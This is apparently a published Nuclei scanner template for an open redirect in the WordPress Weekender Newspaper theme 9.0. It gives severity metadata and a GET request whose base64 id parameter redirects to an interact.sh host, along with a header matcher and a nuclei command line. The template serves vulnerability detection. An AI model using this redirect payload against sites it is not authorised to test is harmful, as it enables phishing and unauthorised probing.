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WordPress Weekender Newspaper 9.0 - Open Redirect

ID: weekender-newspaper-open-redirect

Severity: medium

Author: 0x_Akoko

Tags: wordpress,wp-plugin,redirect

WordPress Weekender Newspaper theme 9.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

id: weekender-newspaper-open-redirect
info:
name: WordPress Weekender Newspaper 9.0 - Open Redirect
author: 0x_Akoko
severity: medium
description: WordPress Weekender Newspaper theme 9.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://cxsecurity.com/issue/WLB-2020040103
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cwe-id: CWE-601
metadata:
max-request: 1
tags: wordpress,wp-plugin,redirect
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/themes/weekender/friend.php?id=aHR0cHM6Ly9pbnRlcmFjdC5zaA=="
matchers:
- type: regex
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
part: header
# digest: 4a0a00473045022100ad013eff53f60b12f281f700730ccc49318c6f40704256ddc0314dc4dc50fb930220469fd1a434670270fb3acaf8a41a4c9f032454edd0114bd5f9fbc92b5a1efc44:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/weekender-newspaper-open-redirect.yaml"

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